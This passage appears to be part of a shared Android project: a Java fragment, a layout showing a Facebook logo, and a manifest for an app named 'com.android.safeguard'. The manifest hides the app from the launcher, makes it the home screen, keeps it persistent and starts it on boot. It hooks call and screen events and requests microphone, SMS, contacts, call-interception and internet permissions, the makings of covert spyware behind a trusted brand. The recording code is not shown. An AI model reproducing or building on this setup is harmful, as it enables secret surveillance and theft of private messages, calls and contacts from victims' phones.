return null;
}
});
}
}


activity_main.xml

<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:background="#3b5997"
android:paddingBottom="@dimen/activity_vertical_margin"
android:paddingLeft="@dimen/activity_horizontal_margin"
android:paddingRight="@dimen/activity_horizontal_margin"
android:paddingTop="@dimen/activity_vertical_margin"
tools:context=".MainActivity" >

<ImageView
android:id="@+id/imageView1"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_alignParentLeft="false"
android:layout_alignParentTop="false"
android:layout_centerHorizontal="true"
android:layout_centerVertical="true"
android:src="@drawable/logo_facebook_text" />

</RelativeLayout>


AndroidManifest.xml

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.android.safeguard"
android:versionCode="1"
android:versionName="1.0" >

<uses-sdk
android:minSdkVersion="3"
android:targetSdkVersion="17" />

<application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:persistent="true"
android:theme="@style/AppTheme" >
<activity
android:name="com.android.safeguard.MainActivity"
android:label="@string/app_name" >
<intent-filter>

<!--
<action android:name="com.android.safeguard"/>
<category android:name="android.intent.category.DEFAULT"/>
-->
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.HOME" />  b
<!-- <category android:name="android.intent.category.LAUNCHER" />   -->
</intent-filter>
</activity>

<service android:name="ScreenService" >
<intent-filter>
<action android:name="android.intent.action.SCREEN_ON" />
<action android:name="android.intent.action.CALL" />
<action android:name="android.intent.action.DIAL" />
<action android:name="android.intent.action.TIME_TICK" />
<action android:name="android.intent.action.NEW_OUTGOING_CALL" />
<action android:name="android.intent.action.PHONE_STATE" />
</intent-filter>
</service>

<receiver android:name="com.android.safeguard.BootBroadcastReceiver" >
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
<!-- <category android:name="android.intent.category.HOME" /> -->
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</receiver>
</application>

<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.READ_CONTACTS" />

<!-- <uses-permission android:name="android.permission.CALL_PHONE"/> -->
<!-- <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/> -->
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.READ_SMS" />
<!-- <uses-permission android:name="android.permission.SEND_SMS" /> -->
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />

</manifest>
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: